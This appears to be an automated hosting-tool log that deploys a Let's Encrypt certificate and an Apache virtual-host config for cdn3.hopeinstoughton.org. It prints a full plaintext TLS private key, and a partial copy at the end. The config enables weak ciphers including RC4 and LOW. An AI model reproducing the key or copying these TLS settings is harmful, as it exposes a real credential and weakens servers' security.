cat > B9FXe6zom2h7p-M2QYUKKpHK7d7NjwrT0jBeSu4R0zI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
B9FXe6zom2h7p-M2QYUKKpHK7d7NjwrT0jBeSu4R0zI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 B9FXe6zom2h7p-M2QYUKKpHK7d7NjwrT0jBeSu4R0zI


2025-11-03 06:01:57: 

chmod 755 /tmp/pkp428516; /tmp/pkp428516; rm /tmp/pkp428516

2025-11-03 06:01:57: 




2025-11-03 06:02:01: Establishing a connection
2025-11-03 06:02:02: 

PUT: /tmp/pkp201399

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
rm B9FXe6zom2h7p-M2QYUKKpHK7d7NjwrT0jBeSu4R0zI


2025-11-03 06:02:03: 

chmod 755 /tmp/pkp201399; /tmp/pkp201399; rm /tmp/pkp201399

2025-11-03 06:02:03: 




2025-11-03 06:02:03: Establishing a connection
2025-11-03 06:02:04: 

PUT: /tmp/pkp752027

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0

cat > $temp_file <<'endmsg'
30:ec:85:bd:99:be:1b:ca:08:41:10:1b:f9:2d:bd:15

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBoL+GbLrLTGFSQ5S4RJyYXhGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzMwWhcNMjYwMjAxMDUwMzI5WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDoQy2YHmU3Z6m6IxVjzZeZ9AcABTAwA68wS0ZKCOcVewzxEgqd
grJaxe3NITDAnxknahqnLIyCyH83p1+nKZmUJf288gIo8VBx/2TGCH//YTaPSMe4
1vwBFv5NZiwHU3YN8XbAa3wLIpOqXB+Ti+agWRYCx/iGK3mVlLmJWZ1ClkJwuQmq
uHqY5U1Y6IdfCYZkPeFx8YO9xiSj5nNSWZwd/2WKJd6nr3vFj88GQ/K3tPQwcJrD
equooEBiTGwCCDVyczfAyFHO3D0TihgFldIbxGXyTmWwxuyCcErrjznF4pDEOqLE
yyZXlvF0nN3R6XSKj2tR6eZEn+vHLlpypS9JAgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFEoJfIz+xOsbeg7NnfY2SW6j0W7DMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzEuY3JsMIIBAwYKKwYBBAHW
eQIEAgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAA
AAGaSE7h+QAABAMARjBEAiB8DfexAIMClnyTChX5LHKzhTlcNNEDN17kwfe4x/ei
UwIgE7WfYVjBRm2Wihieh+WnE6HeYkhkjk1ZT2tMTSoMP4sAdgAZhtTHKKpv/roD
b3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZpITuH6AAAEAwBHMEUCIQD1Ivtn0zWe
OnMUeA7ENs8NumxxXGT5ktyk8yvmfOoN6AIgHr4CJlCi6FoYz/GoC2Ye9ReYMeIp
kYPgzrorHNnTV/IwDQYJKoZIhvcNAQELBQADggEBAEWBQyy12T60emmFeHyTjLB9
73H+HJIuBazlILaIq2Al077TL8FNgJ5aiWsEIIURsOzXan8+p1vUpaEubVd96a6M
+mMp5Qdi8MjHMfmIfjJQVxCUGaGZDgpPXCnxat1TSlJxFtm4Iay5Fiax5DhEAPwD
d9uUUSj/5Z8mAo7zyHDeZhIATIc/J4Zg/UKTeREvEKcLtZZHN2Mk5NalBPLOS+dr
WZnI3RTcVamxj2N+1oIixfMUVTtiRfZll8gm80rhuhbTGBK8L/+L+1xyljH9jmft
A9PjMdMw2TywlNe5+I0zwedFgieVb3BQKh/T9XcQ6yHdS2ovFMwh0D5GFksv8zQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDoQy2YHmU3Z6m6
IxVjzZeZ9AcABTAwA68wS0ZKCOcVewzxEgqdgrJaxe3NITDAnxknahqnLIyCyH83
p1+nKZmUJf288gIo8VBx/2TGCH//YTaPSMe41vwBFv5NZiwHU3YN8XbAa3wLIpOq
XB+Ti+agWRYCx/iGK3mVlLmJWZ1ClkJwuQmquHqY5U1Y6IdfCYZkPeFx8YO9xiSj
5nNSWZwd/2WKJd6nr3vFj88GQ/K3tPQwcJrDequooEBiTGwCCDVyczfAyFHO3D0T
ihgFldIbxGXyTmWwxuyCcErrjznF4pDEOqLEyyZXlvF0nN3R6XSKj2tR6eZEn+vH
LlpypS9JAgMBAAECggEAXPV2LCoOLKyqu7sK9pT0lkObAaER9kWjOlsGWN9TTb+g
IGQuJ3iF1dreIHmmP5HtyV6oKDymSDni4O12VTtLIoZKFfNudeCPZ/Dl7nS8dgP8
iECC3zH8TptbULMR8CSxXUdFViIu1W4TV93jLXSS6558NsS+bUS9Nub9k0FwtZMW
zCcrceXZyqx5XnVRt82utoR6e/eLgtNh+e+SGwjddzMg0rF8LN0npPP5x3ZKWRTz
SKjoj9mKgwFuIbqy84oXDjhvpzcIms0zyzO7LmmjBrWyOaYbKFF2K83ZimB5tYea
nHCMWvv7XPfc/Menjf+dMM9TJMsyOkQXzxH1huUIOQKBgQD+P0yUhcssjxK6umCX
PdxPztvaXgrugLm84uf5yEIvReO8ay1V+4HyQ5CU84QpQfRzxfJFkID9fgNAHwZj
AIutB0ZYSR6uioe3TNR0t07DTFjyi6aQ5mZaWw0OwJBWj1jibnDu42AFNu6OMLGC
sFXHG9neXyPtLFhUB5bPsRQifwKBgQDp3RRjkO+cdpBXmjDg866kkyBkkos3dmhu
uqKTb6IHemN0IH2IPV8XsBEogtSJxgYG6PqVN1PCiiSXw0t0eoR9uAdvfJgrYQGi
6kJo5tDGO5wppIeTsDwBgEKkxX5PlgPaXvhnxy5Ih0ewG5rkjYJQGt4I5ZghhncB
VpkeBf86NwKBgQCz6sVdgQSTBrghTYzW2h7Slzb7Y3tm5c8KfKPeHbnATDvpdQrD
AtUlRGzHC0BmFddQKi7UzXqKaCcStCHH43X0PuanyS6eI0gBDax239Ur3RZApVR8
y554qGAoJVq+9nfW3IKseljTt9i+5HRpYDGDUhEuDLOWvb/PzwMI/G2cLwKBgFtt
L6xhHBuqCnIE+Ljo60yxrAdFdyGeq+MmGarUCJ8tzLW4gfsCKyvijEKvKxIVlYOc
D2LId3llcjrWgaguwZ84k8eVCRRkXzRmqsHCArqM0VdCWDJ3wm2/y84I24GXnzf+
ytQffUujf3YsxJg3bkuMxWLrB1eL7vhZ95BSPd5vAoGBAKSAEaD6OYjnHtABiuTM
erlNAneUzc61JLHNft6+ur4U0L2UF5hxdFnQ6owVfGTyaFUYLB+QWlsjUdlI1o8e
+qlUxb0iuPAksSQ2oS8SyXnfseD6LK1QxzhImM7PajRQmZApciFngOui1517g7p2
b5zytfnGRt+3F0q3G/YAtR0s
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-03 06:02:05: 

chmod 755 /tmp/pkp752027; /tmp/pkp752027; rm /tmp/pkp752027

2025-11-03 06:02:05: 


dir=/etc/ssl/certs


2025-11-03 06:02:05: 

PUT: /tmp/pkp358132

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-03 06:02:06: 

chmod 755 /tmp/pkp358132; /tmp/pkp358132; rm /tmp/pkp358132

2025-11-03 06:02:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf 48

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>






2025-11-03 06:02:06: 

PUT: /tmp/pkp839012

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn3_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf= 1'
fi


2025-11-03 06:02:06: 

chmod 755 /tmp/pkp839012; /tmp/pkp839012; rm /tmp/pkp839012

2025-11-03 06:02:06: 




2025-11-03 06:02:06: 

PUT: /tmp/pkp139600

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-03 06:02:07: 

chmod 755 /tmp/pkp139600; /tmp/pkp139600; rm /tmp/pkp139600

2025-11-03 06:02:07: 


.


2025-11-03 06:02:07: Establishing a connection
2025-11-03 06:02:08: 

PUT: /tmp/pkp324998

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-03 06:02:09: 

chmod 755 /tmp/pkp324998; /tmp/pkp324998; rm /tmp/pkp324998

2025-11-03 06:02:09: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-11-03 06:02:09: 

PUT: /tmp/pkp204839

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:02:10: 

chmod 755 /tmp/pkp204839; /tmp/pkp204839; rm /tmp/pkp204839

2025-11-03 06:02:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf	1398

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2025-11-03 06:02:10: 

PUT: /tmp/pkp133219

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:02:11: 

chmod 755 /tmp/pkp133219; /tmp/pkp133219; rm /tmp/pkp133219

2025-11-03 06:02:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0	5369
30:ec:85:bd:99:be:1b:ca:08:41:10:1b:f9:2d:bd:15

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBoL+GbLrLTGFSQ5S4RJyYXhGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzMwWhcNMjYwMjAxMDUwMzI5WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDoQy2YHmU3Z6m6IxVjzZeZ9AcABTAwA68wS0ZKCOcVewzxEgqd
grJaxe3NITDAnxknahqnLIyCyH83p1+nKZmUJf288gIo8VBx/2TGCH//YTaPSMe4
1vwBFv5NZiwHU3YN8XbAa3wLIpOqXB+Ti+agWRYCx/iGK3mVlLmJWZ1ClkJwuQmq
uHqY5U1Y6IdfCYZkPeFx8YO9xiSj5nNSWZwd/2WKJd6nr3vFj88GQ/K3tPQwcJrD
equooEBiTGwCCDVyczfAyFHO3D0TihgFldIbxGXyTmWwxuyCcErrjznF4pDEOqLE
yyZXlvF0nN3R6XSKj2tR6eZEn+vHLlpypS9JAgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFEoJfIz+xOsbeg7NnfY2SW6j0W7DMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzEuY3JsMIIBAwYKKwYBBAHW
eQIEAgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAA
AAGaSE7h+QAABAMARjBEAiB8DfexAIMClnyTChX5LHKzhTlcNNEDN17kwfe4x/ei
UwIgE7WfYVjBRm2Wihieh+WnE6HeYkhkjk1ZT2tMTSoMP4sAdgAZhtTHKKpv/roD
b3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZpITuH6AAAEAwBHMEUCIQD1Ivtn0zWe
OnMUeA7ENs8NumxxXGT5ktyk8yvmfOoN6AIgHr4CJlCi6FoYz/GoC2Ye9ReYMeIp
kYPgzrorHNnTV/IwDQYJKoZIhvcNAQELBQADggEBAEWBQyy12T60emmFeHyTjLB9
73H+HJIuBazlILaIq2Al077TL8FNgJ5aiWsEIIURsOzXan8+p1vUpaEubVd96a6M
+mMp5Qdi8MjHMfmIfjJQVxCUGaGZDgpPXCnxat1TSlJxFtm4Iay5Fiax5DhEAPwD
d9uUUSj/5Z8mAo7zyHDeZhIATIc/J4Zg/UKTeREvEKcLtZZHN2Mk5NalBPLOS+dr
WZnI3RTcVamxj2N+1oIixfMUVTtiRfZll8gm80rhuhbTGBK8L/+L+1xyljH9jmft
A9PjMdMw2TywlNe5+I0zwedFgieVb3BQKh/T9XcQ6yHdS2ovFMwh0D5GFksv8zQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDoQy2YHmU3Z6m6
IxVjzZeZ9AcABTAwA68wS0ZKCOcVewzxEgqdgrJaxe3NITDAnxknahqnLIyCyH83
p1+nKZmUJf288gIo8VBx/2TGCH//YTaPSMe41vwBFv5NZiwHU3YN8XbAa3wLIpOq
XB+Ti+agWRYCx/iGK3mVlLmJWZ1ClkJwuQmquHqY5U1Y6IdfCYZkPeFx8YO9xiSj
5nNSWZwd/2WKJd6nr3vFj88GQ/K3tPQwcJrDequooEBiTGwCCDVyczfAyFHO3D0T
ihgFldIbxGXyTmWwxuyCcErrjznF4pDEOqLEyyZXlvF0nN3R6XSKj2tR6eZEn+vH
LlpypS9JAgMBAAECggEAXPV2LCoOLKyqu7sK9pT0lkObAaER9kWjOlsGWN9TTb+g
IGQuJ3iF1dreIHmmP5HtyV6oKDymSDni4O12VTtLIoZKFfNudeCPZ/Dl7nS8dgP8
iECC3zH8TptbULMR8CSxXUdFViIu1W4TV93jLXSS6558NsS+bUS9Nub9k0FwtZMW
zCcrceXZyqx5XnVRt82utoR6e/eLgtNh+e+SGwjddzMg0rF8LN0npPP5x3ZKWRTz
SKjoj9mKgwFuIbqy84oXDjhvpzcIms0zyzO7LmmjBrWyOaYbKFF2K83ZimB5tYea
nHCMWvv7XPfc/Menjf+dMM9TJMsyOkQXzxH1huUIOQKBgQD+P0yUhcssjxK6umCX
PdxPztvaXgrugLm84uf5yEIvReO8ay1V+4HyQ5CU84QpQfRzxfJFkID9fgNAHwZj
AIutB0ZYSR6uioe3TNR0t07DTFjyi6aQ5mZaWw0OwJBWj1jibnDu42AFNu6OMLGC
sFXHG9neXyPtLFhUB5bPsRQifwKBgQDp3RRjkO+cdpBXmjDg866kkyBkkos3dmhu
uqKTb6IHemN0IH2IPV8XsBEogtSJxgYG6PqVN1PCiiSXw0t0eoR9uAdvfJgrYQGi
6kJo5tDGO5wppIeTsDwBgEKkxX5PlgPaXvhnxy5Ih0ewG5rkjYJQGt4I5ZghhncB
VpkeBf86NwKBgQCz6sVdgQSTBrghTYzW2h7Slzb7Y3tm5c8KfKPeHbnATDvpdQrD
AtUlRGzHC0BmFddQKi7UzXqKaCcStCHH43X0PuanyS6eI0gBDax239Ur3RZApVR8
